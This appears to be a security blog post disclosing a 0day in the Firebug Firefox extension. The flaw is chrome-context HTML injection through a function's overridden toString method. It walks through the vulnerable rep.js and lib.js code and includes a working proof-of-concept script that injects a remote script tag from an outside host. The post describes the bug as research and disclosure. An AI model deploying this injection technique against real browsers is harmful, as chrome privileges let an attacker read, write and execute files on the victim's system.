As I promised in my previous post I would be detailing a fresh 0day vulnerability in Firebug for my next post. Well, this is that post, or if you’ve just read the Hitch Hikers Guide to the Galaxy, that will be this post in the future which is now.

The culprit in the previous vulnerability was a lack of HTML escaping which allowed you to inject arbitrary HTML and Javascript into the Chrome context from which Firebug operates. Once you are running script with Chrome privileges you can do pretty much anything, open listening ports, send email, read/write/execute files - your typical system compromise.

The really interesting thing about the entire Chrome aspect of Firefox (the browser) is that it is built on top of the Mozilla application framework. Firefox, Democracy Player and Joost are all standalone applications that have a relatively tiny bit of operating system specific code written in C++. The large remainder of the application logic is written with XUL, HTML, CSS and Javascript, with cross platform component interfaces for operations such as writing to files and talking to the network. Mozilla has stated before that they were not building a browser but an application development platform and that has surely been accomplished. As with Java, once the framework has been ported all the applications built on top of it are automatically ported as well.

Most traditional vulnerabilities such as buffer overflows are found in the memory management code of C/C++ applications. When these are found and exploited we have to inject raw CPU instructions that are tailored to specific CPU architectures and operating system environments, as this is the premise of memory management vulnerabilities. The interesting thing about logic vulnerabilities such as Chrome injection is that we no longer have to worry about the underlying cruft - instead, we are handed a complete framework of functionality equivalent to a near complete operating system. If we write our exploit code entirely inside the Mozilla application framework then those exploits will work the same on Windows, OS X, Linux, Solaris and even Amiga. Firefox extensions are the perfect example of this approach, they are just mostly beneficial instead of malicious.

Speaking of Firefox extensions, the topic here is a fresh 0day vulnerability in Firebug. As with the previous vulnerability this one is also a case of code injection from untrusted web content into trusted Chrome content. pdp has already shown a very simple runFile function that can be run from Chrome.

Inside the rep.js file we find a function definition at line 167 called Func on the FirebugReps object. This function is called every time that Firebug has to display a textual representation of a function object in its rendering routines, just as it calls the String, Number, Arr, Obj and Element functions when it encounters either of those types. We are only interested in the first 12 lines of this function for now:

this.Func = domplate(Firebug.Rep,
{
  tag:
    OBJECTLINK("$object|summarizeFunction"),

  summarizeFunction: function(fn)
  {
    var fnRegex = /function ([^(]+\([^)]*\)) \{/;
    var fnText = safeToString(fn);

    var m = fnRegex.exec(fnText);
    return m ? m[1] : "function()";
  }

The tag constructor for function objects uses the standard OBJECTLINK construct to make a textlink of the function name which when clicked opens the function for further inspection in the Firebug DOM window. You might notice the call to the summarizeFunction inside the tag constructor as well as the regular expression and the call to a safeToString function. The premise for this logic comes from the following Javascript code:

function foo (arg1, arg2){
    // Function body
}
var bar = function (arg1, arg2){
    // Function body
}
var foobar = function myFunction (arg1, arg2){
    // Function body
}

In the above case, Firebug will render foo as “foo()”, bar as “function()” and foobar as “myFunction()”. The first is a regular function declaration, the second is an anonymous function declaration and the last is an inline function declaration. If Firebug encounters a function that it cannot find a name for, such as the bar function, it indicates this with the string “function()”. In addition, fnRegex verifies that the function declaration consists of “function[SPACE](STUFF)[SPACE]{”, as anonymous functions in Firefox do not have a space before the opening { character.

Firebug tries to extract the function declaration through the safeToString function that lives on the FirebugLibs object. From lib.js line 206-216:

this.safeToString = function(ob)
{
    try
    {
        return ob.toString();
    }
    catch (exc)
    {
        return "";
    }
};

As we can see safeToString is just a try/catch wrapper for a call to the functions native toString method. In order to exploit Firebug we simply have to overwrite the default toString method of any random function object which we then pass to the Firebug debugging console. As such:

<script type="text/javascript">
// A function that returns a specially formatted string
function vulnstring(){
    return 'function <b style="font-size:80px">foo(<script src="http://larholm.com/vuln/firebuginclude.js"></'+'script>) { }';
}
// The function object to log with Firebug
var a = function(){};
// Overwrite the default toString method
a.toString = vulnstring;

// Attempt to trigger the vulnerability if Firebug is installed and has console logging enabled
if(typeof console!="undefined" && typeof console.log=="function")
    console.log(a);
</script>

The above creates a function object and overrides it with a custom toString method that returns a string which looks like a valid function declaration, but where the name/arguments part is really just HTML. Firebug then proceeds to inject this HTML into its Chrome context, which you can verify by opening the following proof-of-concept exploit:

http://larholm.com/vuln/firebugtostring.html

And that’s it. The code inside firebuginclude.js is just a single line, alert('yay I was injected in ' + location.href);, to verify that we are indeed running from within a Chrome document. If you are vulnerable the alert box will say “yay I was injected in chrome://firebug/content/panel.html” :)